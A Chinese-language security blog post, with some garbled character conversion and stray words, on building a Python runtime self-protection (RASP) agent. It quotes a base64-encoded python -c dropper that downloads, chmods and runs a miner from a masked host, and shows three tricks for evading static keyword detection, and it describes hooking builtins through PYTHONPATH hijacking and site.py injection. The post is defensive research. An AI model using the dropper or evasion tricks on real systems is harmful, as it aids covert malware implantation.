Python RASP 工程化:一次入侵的思考

前言

今天講的內容會很深,包括一些 Python的高級用法和一些本身創造的黑科技,前半部份內容大家可能聽過,後半部份內容就真的是黑科技了。。。java

深刻的研究和思考,總會發現不少有意思的東西。每一次的研究,都不會是平白無故的,下面開始咱們今天的故事。(注意文末有花絮python

Tips: RASP,全稱應用運行時自我保護解決方案,能夠簡單理解爲部署在應用環境的監控防護程序。linux

 

萬事有因果

本次的研究 來源於 對一次入侵手法的思考,衆所周知,在linux主機上,挖礦木馬比較流行。如今挖比特幣的相對少了,又有挖門羅幣的。這些木馬的植入不會說直接傳文件上去,這樣動做太大,更多的是經過執行shell命令,遠程下載文件並執行 。以以下狀況爲例,很特別,這是一個經過Python命令植入的挖礦木馬:shell

 

python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'安全

 

經過base64解密以後的內容(ip脫敏了):網絡

 

import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");併發

 

經過base64隱藏真實代碼是一個經常使用的方式,不能說這樣作很高明,這條命令特徵相對仍是比較明顯了。機器學習

 

現有的防護辦法是靜態分析,經過抓取Python 進程參數,匹配關鍵字,好比exec,decode,base64 就會很容易發現。可是若是我們腦暴一下作一次靜態策略繞過,你會發現靜態分析是多麼的脆弱。socket

1.繞過 base64函數

 

"base64" = 'case64'.replace('c','b') = '1base641'[1:7]

 

2. 繞過decode (或者直接不用編碼)

 

str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')

 

3.終極絕招(妙用管道,讓你抓不到Python參數)

 

echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python

 

相信到第3步,靜態分析已經窮途末路,你連數據都沒有了。

 

這3次繞過是想說明一個問題,Python語言很靈活,尤爲和shell結合後,靜態分析這條路已經解決不了實際問題。

 

問題出在哪呢?問題出在Python語言自己,語法的靈活對靜態分析是致命的。我總結了這麼一句話,你們能夠回味一下:

 

當字符串能夠看成代碼執行時,靜態分析的盡頭也就到了

 

那該怎麼解決呢?從Python語言自己出發,監控整個Python的動態行爲,這就是Python RASP。

 

研究Python RASP值不值得花時間呢? 你只須要知道每一個linux主機上都會預裝Python環境,你就知道它的威脅了。

 

說實話,有開源的PHP RASP,JAVA RASP,還真的沒有Python RASP,下面的研究徹底是一個摸索的過程。

 

在研究的過程當中,我碰到兩次僵局,窮途陌路之感,差一點覺得Python RASP 不能發揮很大的做用。

 

Monkey Patch 與 依賴注入

Python RASP的行爲監控,簡單來講就是hook關鍵函數,將函數的參數和返回值,送回策略進行過濾。

(1) Monkey Patch

說到hook,首先想到的是Monkey Patch這種方法,對於Python的理念來講,一切皆對象,咱們能夠動態修改Python中的對象。舉個例子:

 

 

在主函數中,修改open內置函數,給open添加的了日誌打印的功能。運行效果以下,成功的打印出了日誌:

 

 

函數調用順序以下:

 

open('1.txt','r') ->__call__ ->_pre_hook  -> post_hook -> return

 

可是你有沒有發現問題,也就是說咱們須要將hook代碼添加到用戶代碼以前,這不現實

現有業務中這麼多項目,這麼多腳本,每一個項目的代碼,我都要改的話,我猜業務同窗會殺策略祭天。所以Monkey Patch 這種方式暫時放棄了,換個思路。

 

(2)依賴注入

 

若是你們以前作過dll劫持,有一種方式是根據dll加載順序的前後進行劫持的,一樣python中咱們也能夠用這種方式來作。以import os爲例,Python是如何找到os模塊呢?搜索順序以下:

 

當前目錄 -> $PYTHONPATH -> Lib庫目錄 -> site-package 第三方模塊路徑

 

咱們要利用的就是$PYTHONPATH環境變量指定的目錄,在這個目錄下,新建os.py文件,import os就不會去 Lib庫目錄 中查找模塊,從而實現了劫持。 咱們既能夠劫持函數,也能夠劫持類。

 

2.1 劫持os模塊下的system函數

 

首先在當前pythonpath路徑下建立os.py文件,而後重載一下os模塊,最後使用_InstallFcnHook改變system。

 

2.2 劫持socket模塊下的_fileObject類

 

劫持類,咱們須要用到Python中元類的概念。元類就是用來建立類的類,函數type其實是一個元類。

元類的主要目的就是爲了當建立類時可以自動地改變類,使用元類來劫持類再合適不過了。須要用到的主要方法和屬性以下:

 

  • __metaclass__:你能夠在寫一個類的時候爲其添加__metaclass__屬性, Python就會用它來建立類。__metaclass__能夠接受任何可調用的對象,你能夠在__metaclass__中放置能夠建立一個類的東西

  • __new__:是用來建立類並返回這個類的實例

  • __call__:任何類,只須要定義一個__call__()方法,就能夠直接對實例進行調用,用callable來判斷是否可被調用

  • __getattribute__:定義了你的屬性被訪問時的行爲

劫持fileObject類,首先在當前pythonpath路徑下建立socket.py文件,而後使用_installclshook動態修改此類,當訪問_fileobject的屬性方法時,返回到_hook_writeline 和 _hook_readline。

 

 

 

依賴注入這種方法,有一個很大的缺陷,就是內置模塊中的類和函數沒辦法劫持。以__builtin__內置模塊爲例,這個模塊是Python虛擬機中內置的,在虛擬機啓動以前就已經加載完畢,不會再去pythonpath中去查找,常見的open函數,decode函數都是沒辦法劫持的。

雖然使用Monkey Patch能解決,可是依舊有上面所說的緣由,沒辦法工程化,這就很苦惱。

 

 破局 到 再次入局

 

出現僵局總得解決,有一點能夠肯定的是 Monkey Patch 能夠hook內置函數,那要解決的問題就是如何讓hook代碼永遠在在用戶代碼以前運行,這樣咱們的hook纔能有效控制函數調用。

腦洞大開

 

在用戶代碼運行以前是誰運行呢?確定是Python虛擬機先運行。若是Python虛擬機啓動的過程當中,預加載了一些模塊,你把咱們的代碼插入這些模塊中,不就能夠比用戶代碼先運行了!!!

 

有時候真的是須要腦洞,事實證實我走對了。網上全部關於monkey patch 的資料,都是在教你修改用戶代碼,添加hook函數,實現動態修改,這種方式還真沒有,能夠加個雞腿了

 

腦洞開完以後,下面就須要進行苦逼的分析,你要分析Python虛擬機的初始化過程,必需要看Python源代碼了。我就不帶你們看代碼了,給出一個Python虛擬機模塊大體的加載過程。

 

 

 

 

Python虛擬機在設置模塊路徑時,其中的第三方模塊路徑是加載site.py模塊進行設置的。Python源碼部分以下:

 

 

以Windows py2.7爲例,打開D:\Python27\Lib目錄下的site.py文件,將咱們在第二節中的hook代碼 引入到文件末尾便可,這樣不管運行什麼樣子的用戶代碼,都會首先加載咱們的hook代碼

 

 

本覺得到此就結束了,但是才發現剛剛入坑而已。由於就在我打算hook內置 __builtin__模塊str類的decode時,出現了異常。

 

 

 

google了一下異常信息,得出一個結論:Monkey Patch能夠修改內置模塊中的函數,可是沒辦法修改內置模塊中的類屬性,好比str的decode函數就沒辦法了。

其實到這就能夠結束了,由於大部分模塊,咱們均可以hook住了,可是感受有缺憾,不夠完美,仍是有漏的,束縛了RASP的能力,所以又有了接下來的黑科技,開腦洞吧。。。

 

腦洞黑科技

 這時候能用的技術都用完了,真是窮途末路了。。。須要點靈感!!!

 

腦洞時間

 

以前寫java程序的時候,使用過JNI技術,也就是java的C接口,不少java作不到的事情,使用C接口就能夠作到,還能夠訪問java對象。聯想到Python Monkey Patch失敗的問題,頗有多是在Python層作的禁止,是否能夠經過Python C API操做對象呢

 

每個類對象都有一個__dict__,裏面包含着每一個類的屬性信息,例如若是咱們想從str取出decode函數,能夠這麼幹:

 

str.__dict__["decode"]

 

所以我們只要獲取__dict__屬性,對這個屬性進行修改,就能夠達到替換的目的。我們使用C API來獲取:

 

 

經過patch_builtin函數,咱們就能夠獲取__dict__對象,而後使用setattr和getattr修改屬性便可,因爲咱們不改變原有的函數,只是收集日誌,因此基本上對虛擬機運行沒有影響。最後實驗一下效果:

 

 

 到此爲止,Python RASP的全部的技術點都結束了。。。呼吸一口新鮮空氣。。。

 

亦正亦邪

 技術點結束了,下面就須要落地了。Python RASP總體分爲兩部分:Agent和Server,Agent負責hook函數,收集函很多天志,併發給Server,Server負責處理日誌數據,並制定相應的策略進行過濾報警。

 

 

 

在落地的過程當中,有如下問題須要注意:

 

  1. 數據壓制:Agent在採集函很多天志的時候,由於不少Python程序都是作週期性任務,重複數據會不少。

  2. 兼容性: Python RASP 對於Py2和Py3要進行兼容性處理。

  3. 自保護:其實對於Python RASP有不少逃逸的方式,對此咱們要進行加固,下一篇咱們會講解逃逸和加固。

 

在設計策略的過程當中,注意收集一些執行命令和網絡的函數,在下一篇我會列舉出來。

 

你們有沒有想過Python RASP中使用的技術,是否是特別像木馬後門。這可能就是所謂的技術本沒有好壞,看你怎麼用罷了

 

最後

關注公衆號:七夜安全博客

  • 回覆【1】:領取 Python數據分析 教程大禮包
  • 回覆【2】:領取 Python Flask 全套教程
  • 回覆【3】:領取 某學院 機器學習 教程
  • 回覆【4】:領取 爬蟲 教程
  • 回覆【5】:領取 編譯原理 教程 
  • 回覆【6】:領取 滲透測試 教程 
  • 回覆【7】:領取 人工智能數學基礎 教程
本文章屬於原創做品,歡迎你們轉載分享,禁止修改文章的內容。尊重原創,轉載請註明來自:七夜的故事 http://www.cnblogs.com/qiyeboy/
相關文章
相關標籤/搜索